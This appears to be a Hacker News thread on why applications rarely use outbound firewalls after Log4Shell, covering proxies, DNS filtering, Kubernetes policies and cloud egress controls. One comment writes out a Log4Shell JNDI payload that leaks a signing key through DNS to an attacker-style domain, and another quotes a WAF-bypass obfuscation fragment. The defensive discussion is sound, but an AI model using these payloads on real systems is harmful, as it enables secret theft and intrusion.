[samwillis]

Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible?

With everyone using un-curated package managers such as NPM and PiPy there is also the chance of a package being compromised. At least if we had outbound firewalls it could help mitigate these problems.

It seems to me that there is an incredible opportunity for someone with the right background to build this (I wish it was me). I tend to use PAASs like Heroku for my apps and would love it if this was built in! They even know (most of) what other infrastructure my apps talk to. Why is it not part of Docker?

(Obviously everyone should already be using inbound WAF such as CloudFlare)

[diroussel]

I was on a team that tried to implement this at a bank, using azure. The idea was not at the app level but at machine (vm) level.

Machines in the legacy data center didn’t have internet access, and so they didn’t want could machines to have it either.

But once we locked down the network so many things broke. Not just user level stuff like doing code builds in maven, but also machine level stuff like enabling drive encryption.

Preventing out of band exfiltration on of data and downloading of exploit materials is very important to a defence in depth approach and none of the clouds seem to embrace it.

The problem was that all azure services were provided on public IP ranges, so given them at VM services needed to communicate with azure Ana gent endpoints we couldn’t block on the IP, so had to implement via HTTP proxies.

Using explicit HTTP proxies was a config night mare as not everything honoured the HTTPS_PROXY env var (e.g. Java). And using an implicit proxy was a nightmare of MITM, custom certs, updating a myriad of trust roots and then the proxy would use a ‘captive portal’ and cause broken redirects.

[samwillis]

Exactly! There has got to be a billion dollar company in this if the UX for administering it was done right so it wasn’t a pain.

Little Snitch as an example of UX in this area is perfect as you can run it for a while first to see what is connecting to what, then start looking down everything else.

[notreallyserio]

Google offers a way to access Google services from your VM 1918 IPs so you don't need to use NAT. I wonder if Azure would consider doing the same.

[jaywalk]

If you do the blocking in Azure via a Network Security Group, it's simple. You can allow outbound traffic to Azure services and deny anything else.

[ThePowerOfFuet]

Until an Azure service is misused for exfil.

[infogulch]

Not all services support it yet, but private endpoints are a great solution to this issue in azure.

[infotogivenm]

People absolutely do this all the time. With k8s and container policies its easier than ever to audit and can have an element of dynamicism. Docker has many many usecases; if you are using it for workloads in production you’ll want to follow benchmarks like CIS, which will tell you to do this. There are scripts you can run to automate a lot of this.

However, you’d still show up as vulnerable here. This is because even with proper egress filters many systems will default resolve DNS out to the internet. Some people fix this too, by running restricted local DNS servers at another privilege level. But if DNS is your only way out, the worst impact I’ve seen so far is info disclosure - I have not seen RCE possible with this bug when a normal firewall is set up. But hackers are creative so I am keeping an eye out.

[yardstick]

> Why are we not all using some sort of outbound firewall for our apps?

Some places do. The systems I deal with definitely do, and it’s common in banking and card payment systems (PCI DSS has strict firewall requirements). Even our non payment systems we still restrict outbound access.

I think it comes down more to what focus your organisation has. Especially how important security plays in it.

This is also why I hate third party APIs that can’t be firewalled by IP/subnet but only by domain. Especially those operating behind a cloud load balancer like AWS ELB, because they are extremely/impossibly difficult to firewall without introducing risk of permitting access to other services also using the load balancer. Dealing with HTTP/HTTPS proxies is a pain and introduces yet another attack vector.

[formerly_proven]

> Since Log4Shell I have asked this question a few times and never really had a solid answer. Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible?

Not really, but it's important to keep in mind that these kinds of things are less effective than you might imagine. E.g. using the system resolver wouldn't be covered by a firewall in most configurations, so this doesn't help you for an exploit like ${jndi:ldap://${env:AUTH_COOKIE_SIGNING_KEY}.attackercontrolleddns.com} followed by impersonating any user.

Even if you correctly lock down the application server networks and nodes, I'd be surprised to find a restricted DNS resolver in place. It's a good idea for sure, but I'd expect it to be very rarely done. Not least because "exfiltrate data over DNS" is probably not a well-known vector.

> (Obviously everyone should already be using inbound WAF such as CloudFlare)

How is this obvious? This is not a trivial matter.

[samwillis]

> How is this obvious?

By using a WAF you are explicitly blocking many standard hacking attempts such as SQLi. At least it seems obvious to me to take the precaution of having one, you can never trust that your code or the library’s you use don’t have security holes.

By using a hosted or managed WAF it means when there is a new venerability found (such as Log4Shel) the service updates the rules and you have a level of mitigation before even patching your system or even being aware of it.

[richardwhiuk]

Most WAF attempts to block this failed - there's plenty of twitter posts doing things like ${${j}${n}i: to bypass WAF rules.

[franga2000]

A big part of this is that outbound connections are constantly changing. I tried to firewall a web scraper a while ago that as part of its operation had to execute some untrusted JS. It sounded easy - it only ever connects to one site, so just let that pass through. But that site used shared hosting of some kind and their IP address would change on a surprisingly regular basis. The scraper didn't care at all since it used DNS, but firewalls can't do that.

The solution we ended up implementing was to run the scraper through a local HTTP proxy, block all other connections, then use the proxy's config to whitelist the site by the Host header. This, of course, meant doing SSL stripping on the proxy, which was only acceptable because the proxy was ours. If a hosting provider suggested something like this we'd laugh them away.

[nrmitchi]

There are many options for this, but at the end of the day it comes down to "it's a pain in the ass and isn't worth the effort for most applications". Obviously non-interactive exploits like log4shell change the math on this.

My current company is using Cilium (and CNPs) within Kubernetes to solve for this, although it does have some issues. Calico has fqdn filtering in it's "Pro" versions.

For covering a whole VPC you can look at AWS's Route53 DNS Resolver Firewall (which sort of addresses the same class of concerns. There are gateway's that will address this at a VPC level too (probably the best solution) like Aviatrix or Chaser Systems' "discriminNAT".

The point is that there are solutions for this, just the UX around managing them could be a lot better, and at the current price point isn't worth the risk for the fast majority of projects.

[michaelbuckbee]

For Heroku - Expedited WAF does filter (inbound) for log4j - but I'm not sure there's a good way to outbound, even with Private Spaces. You can start a dyno that only has access to the other apps in the space, but if log4j was on one of the connected web app servers you'd still be in trouble.

https://expeditedsecurity.com/heroku/how-to-block-log4j-vuln...

[throw0101a]

> Why are we not all using some sort of outbound firewall for our apps? Is there something fundamental (other than the administration of it) that stops it being the standard, or even possible?

Black hole routing is often used in some more regulated industries (finance):

* https://en.wikipedia.org/wiki/Black_hole_(networking)

There's overhead in setting up proxies and telling all software to use them (browsers can be somewhat automated with proxy auto-config (PAC) files). You could of course just use this technique on your server infrastructure.

But it's a 'non-standard' configuration in a world where everything assumes universal connectivity to everything else.

One interesting idea I've seen mentioned it running a firewall on the system itself on a per-UID basis:

* https://www.cyberciti.biz/tips/block-outgoing-network-access...

So if your have a "www-data" UID that runs the web server, you set up iptables to allow it to answer incoming connections and produce replies, but not generate new connections.

> A web server mostly accepts connections but usually only needs to initiate very few connections itself. Therefore it makes sense to limit the possible outgoing connections to what is actually needed. This makes it much more difficult for an attacker to do harm once he has exploited some web application.

* https://wiki.debian.org/Apache/Hardening#Restrict_outgoing_c...

So if you are compromised with attack code, one of the first things it tends to do is fetch some more advanced code to start rummaging through your system(s): that fetch is potentially blocked because it's a new connection to the malware hosting server (or the C&C server).

[formerly_proven]

See also - software-defined perimeter. Sounds extremely bullshit, but boils down to "network is not used directly at all, everything runs over 'black channels' (e.g. use WireGuard) on a service-by-service * peer-to-peer basis". Tailscale is fairly close to this.

[323]

Windows has an enabled by default outbound firewall. The problem is that most apps want to connect to the net these days (check for updates, telemetry, ....) so when an app is installed it adds a firewall exception.

[samwillis]

Sure, on desktop.

But for a server app (which you built and manage) where you are only talking to known endpoints everything else should be blocked, but we don’t do it. We all use platforms for our apps where anything we use could be compromised and connect to the outside world!

[323]

> where you are only talking to known endpoint everything else should be blocked

I just realized that neither the Windows Firewall, nor the Linux one (ufw/iptables at least) allow you to block based on domain names. They only allow IP address rules.

[hxtk]

Netfilter (the kernel backend for the deprecated {ip,arp,ip6,eb}tables and the newer nftables) supports allow/deny by ipsets, and you can configure some DNS resolvers such as dnsmasq to populate an ipset from a DNS name.

This has a few issues, though, such as the fact that it is impossible to allow one site but not another if they are both hosted at the same IP address. After all, DNS names are basically just aliases for IP addresses unless the application layer protocol assigns them some semantic meaning (as is the case with HTTP and TLS).

If that matters, you do have to resort to something protocol-aware like an intercepting HTTP proxy that inspects the Subject Name Indicator for TLS traffic or the Host header for plaintext HTTP traffic. Or a regular HTTP proxy, if your application supports that configuration.

[samwillis]

Exactly, there is a technical limitation (I understand why) of only blocking by IP not hostname, if the IP changes it breaks.

Why has this not been solved in the last 50 years? You should be able to block by hostname, it’s how networks are defined.

We are an industry of problem solvers but this one seems to have been ignored.

[mrweasel]

It is solved, Cisco and other firewalls have no issue blocking or allowing based on FQDN.

[toyg]

Some people do it, but the maintenance effort is nontrivial.

[tinus_hn]

Because then you have to define what the package is going to do and it’s a lot of work. And now you don’t have to do that work.

And of course, in this case it only takes one app using this library that has a legitimate use case for unlimited acces. Unless you find a way to limit libraries separately.

[samwillis]

“it’s a lot of work” should never be a reason for not securing an system.

It’s also invite to solve a problem so it’s not a lot of work. It should be easy to secure your systems from making outbound connection.

[hxtk]

> “it’s a lot of work” should never be a reason for not securing an system.

It is, though. Software bugs are almost entirely optional: we could just formally verify every piece of software with a mathematical proof. Computer software would still be in the 70s or 80s because of how long that takes, but if security is the only goal of a system, that's what we need to be doing.

In practice, projects balance a multitude of concerns and, while important, cybersecurity is only one of them.

> It’s also invite to solve a problem so it’s not a lot of work. It should be easy to secure your systems from making outbound connection.

This, I agree with wholeheartedly. The way to improve security is to address the factors that put humans in situations where skipping important security steps makes sense.

[tinus_hn]

It’s trivial, just set up your firewall correctly! But if the system works when you block all outbound connections it’s also trivial to describe the required outbound connections: none.

The problem is of course with the 99% of apps that do require some outbound connections.

[mrweasel]

Many of us do, in fact many use private unrouted networks. Works great on something like EC2 as well.

The issue is that many have come to expect NAT or public IPs as default on their cloud infrastructure and firewalls would result in to many support cases.